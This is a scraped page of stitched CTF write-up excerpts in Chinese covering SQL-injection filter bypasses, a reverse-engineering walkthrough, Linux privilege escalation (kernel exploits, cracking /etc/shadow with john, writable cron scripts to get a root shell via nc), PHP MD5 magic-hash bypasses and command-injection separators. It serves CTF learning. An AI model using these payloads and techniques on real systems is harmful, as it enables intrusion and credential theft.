ctf

ctf比赛中常见的注入问题杂谈(持续更新)

匿名 (未验证) 提交于 2019-12-03 00:13:02
首先,虽然本人是小白,但是太过基础的sql注入问题也就不再重复的解释了。直接从常用的说起。 本文参考博客: https://www.cnblogs.com/milantgh/p/4274387.html 对我这个小白来说这是一篇很好的博客。 (1) 对于过滤了 '=' 的sql注入 ,有两个方法可以绕过,like 和 regexp。 即 id = 1 '+union+select+1,group_concat(schema_table)+from+information_schema.tables+where+table_schema=database()# id = 1 '+union+select+1,group_concat(schema_table)+from+information_schema.tables+where+table_schema+like+database()# id = 1 '+union+select+1,group_concat(schema_table)+from+information_schema.tables+where+table_schema+regexp+database()# 三者是相等的。(regexp就是正则表达式的意思o,在某些情况下,可以用 username='\'&password='||password/**

writeUp-攻防世界-reverse-Hello,CTF

匿名 (未验证) 提交于 2019-12-03 00:11:01
先打开这个exe文件。 等等……没有壳?! 可以看到这个程序是C++写的。 拖到ida里查看。 搜索“please input your serial:” 看到这个东西在_main函数里面。 1 int __cdecl main(int argc, const char **argv, const char **envp) 2 { 3 signed int v3; // ebx 4 char v4; // al 5 int result; // eax 6 int v6; // [esp+0h] [ebp-70h] 7 int v7; // [esp+0h] [ebp-70h] 8 char v8; // [esp+12h] [ebp-5Eh] 9 char v9[20]; // [esp+14h] [ebp-5Ch] 10 char v10; // [esp+28h] [ebp-48h] 11 __int16 v11; // [esp+48h] [ebp-28h] 12 char v12; // [esp+4Ah] [ebp-26h] 13 char v13; // [esp+4Ch] [ebp-24h] 14 15 strcpy(&v13, "437261636b4d654a757374466f7246756e");//把字符串

记一次CTF出题WP

匿名 (未验证) 提交于 2019-12-03 00:08:02
笔者有幸参与一次CTF入门级的出题,在此记录一下WP 1、用IDA打开程序 找到单击次数, 获取全局变量地址。 打开程序 打开OllyDbg attcach后在左下角按CTRL+N 跳到004099F0内存地址 右击下硬件写入断点。 然后按F9运行 然后单击Click 将其改成19999的16进制 然后再摁F9 UPX脱壳 用IDA逆向后 记下base64编码的地址 打开x64dbg 加载后 按F9后将RIP修改成401530 然后按F9将base64编码打印出来 如下所示 复制下来后新建个html 然后打开 来源:博客园 作者: 秃桔子 链接:https://www.cnblogs.com/godoforange/p/11531221.html

CTF-内核漏洞提权

匿名 (未验证) 提交于 2019-12-03 00:05:01
1. 内核漏洞提权   查看发行版本:  cat /etc/issue  cat /etc/*-release   查看内核版本:  uname -a   寻找内核溢出代码:  searchspoit 发行版本 内核版本   上传内核溢出代码,编译执行  gcc xxx.c -o exploit                   chmod +x exploit                   ./exploit 2. 明文root密码提取   大多linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件相关   passwd里储存了用户,shadow里是密码的hash。passwd全用户可读,root可写。shadow仅root读写。   例如       /etc/passwd /etc/shadow       unshadow passwd shadow > cracked       john cracked 3. 计划任务   一般定时执行的任务由crontab管理,非root用户不可列出,但 /etc/内系统的计划任务可以被列出。   如果其中一个脚本配置成任意用户可写,就可以修改脚本回连rootshell   攻击机启动nc监听端口 nc -nlvp port   脚本代码:       #!/user/bin/python    

实验吧CTF练习题---安全杂项---异性相吸解析

匿名 (未验证) 提交于 2019-12-02 23:57:01
---恢复内容开始--- 地址:http://www.shiyanbar.com/ctf/1855 flag值:nctf{xor_xor_xor_biubiubiu} 解题步骤: 1.打开解题页面,观察题意 2.题目提示无,进入解题链接查看,提示下载,下载到本地并解压,发现两个txt文件,一个叫明文一个叫密文 3.解压到随意文件夹,记住路径,后面要用,为了后续方便,我把这两个文件改名1和2 4.下来进入这两个文件,经过查看一个为明文一个为密文 5.经过分析题目名,异性相吸,判断这应该是个异或题。我们拿出Python代码,这个地方一定要注意你的这两个txt文件填写的路径名称 两个注意: 1----按位异或运算符:当两对应的二进位相异时,结果为1 (a ^ b) 输出结*果 49 ,二进制解释: 0011 0001* 2----ord(‘a’)=97 返回值是对应的十进制整数 6.执行python代码,得出flag值 7.提交成功 ---恢复内容结束--- 来源:博客园 作者: Hskb 链接:https://www.cnblogs.com/redHskb/p/11466169.html

百度杯”CTF比赛 九月场123 ---------i春秋

匿名 (未验证) 提交于 2019-12-02 23:47:01
题目地址:https://www.ichunqiu.com/battalion 进入题目 咦,这是让我输题目上的12341234? 然后然后,被骗了。。 看一下源码 有东西,访问一下user.php,什么都没有。。 但是可以访问,应该是隐藏了什么东西,百度搜一下隐藏文件的类型,找到一个.bak的,数据备份文件,访问 头皮有点发麻,文件内的像是用户名,把这些用户名和刚才的密码格式丢到burp里面去爆破 根据爆出的用户名密码进行登录 隐藏部分感觉像是上传的东西,用火狐开发者工具把注释给去了,显示出一个上传界面 上传一个php文件 不能上传,那就修改一下后缀名,用burp进行拦截修改 好像进行了双重的过滤,更改后缀名( php的别名:php2, php3, php4, php5, phps, pht, phtm, phtml ),分别进行测试,得到一条信息 存在view.php,进行访问 尝试使用file进行查询flag,view.php?file=flag 过滤了flag,更改一下,view.php?file=flflagag 出现flag

CTF-代码审计(2)

匿名 (未验证) 提交于 2019-12-02 23:43:01
1.bugku 备份是个好习惯 网址:http://123.206.87.240:8002/web16/ 拿到源码: <?php /** * Created by PhpStorm. * User: Norse * Date: 2017/8/6 * Time: 20:22 */ include_once "flag.php"; ini_set("display_errors", 0); php 得substr() 这里省略了第三个参数 长度,所以从第一个开始截取到最后; 把hello world里面得world换成shanghai // 这里把输入得参数用空字符串去代替了key,所以需要双写key绕过 echo md5($key1); echo md5($key2); if(md5($key1) == md5($key2) && $key1 !== $key2){ echo $flag."取得flag"; } ?> ?kkeyey1=240610708&kkeyey2=aabC9RqS eval命令执行漏洞,构造payload得方法太多,推荐这个博客 :https://blog.csdn.net/xuchen16/article/details/82734758

以一道ctf学习python脚本

匿名 (未验证) 提交于 2019-12-02 22:51:30
今天做了省赛初赛的ctf比赛,过程真是忐忑,奋战了6个小时(本来是三个小时的,哈哈哈哈)。 不说了! 不说了! 说多了都是泪~ 看题吧,题目就是一道流量分析题,里面有一段icmp包,icmp包的ttl的十六进制是一个压缩包! 所以就是把ttl值提取出来,在把ttl值转换16进制 ttl值提取出来如图 脚本如下: 1 f = open ( 'ttlnum.txt' ). readlines () 2 for i in range ( len ( f )): 3 f [ i ]= int ( f [ i ]. rstrip ( '\n' )) 4 print ( f ) 5 hex_arry =[] 6 for item in f : 7 hex_arry . append ( '0x%02x' % item ) 8 with open ( 'data.txt' , 'w' ) as f : 9 for t in hex_arry : 10 f . write ( t ) 来源:博客园 作者: Da4er 链接:https://www.cnblogs.com/Da4er/p/11563618.html

CTF中常见的PHP漏洞

匿名 (未验证) 提交于 2019-12-02 22:11:45
1.MD5()漏洞 php在处理字符串时会利用!=,||,==进行hash值的比较 他把每一个“0E’开头的哈希值都解释为0,因此如果两个不同的密码经过hash处理之后都是以‘0e’开头,那么PHP会认为两者是相同的,南京邮电大学一次ctf上就出了一道这个题。一些经md5()后以0e开头的例子 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 验证一下这个现象。 <?php if(md5("s155964671a")==md5("s214587387a")) { echo "successful"; } ?> 说到md5就还有一个经典案例就是 数组的MD5值都相等 都为NULL, 这里写了一小段代码 <?php if(isset($_GET['hsy']) and isset($_GET['zyg'])){ if($_GET['hsy']!=$_GET['zyg']) { if(md5($_GET['hsy'])==md5($_GET['zyg'])) echo "yes";

CTF Linux 命令执行常规bypass

匿名 (未验证) 提交于 2019-12-02 21:56:30
截断符 常见的RCE的形式是给一个ping的命令执行,只需要输入ip,然后返回ping ip的输出信息 常见的用来截断的符号 & && ; | || windows或linux下: command1 && command2 先执行 command1 后执行 command2 command1 | command2 只执行 command2 command1 & command2 先执行 command2 后执行 command1    | && ; & || 通配符 Bash标准通配符(也称为通配符模式)被各种命令行程序用于处理多个文件。有关标准通配符的更多信息,请通过键入man 7 glob命令查看手册了解。并不是每个人都知道有很多bash语法是可以使用问号“?”,正斜杠“/”,数字和字母来执行系统命令的。你甚至可以使用相同数量的字符获取文件内容。这里我为大家举几个例子: ?匹配所有字符中的一个,例如find -name "aa?" 可以匹配到aaa,aab,aac等 例如cat命令我们可以通过以下语法代替执行: /???/ c ? t REE . py 匹配的很乱,因为在自己的kali中。然而在ctf环境中往往环境没那么复杂,很容易匹配到/bin/cat命令。 CTF中可以用fla?来匹配flag 特殊符号和命令 上面图片中出现了${IFS},pwd 还有grep,tail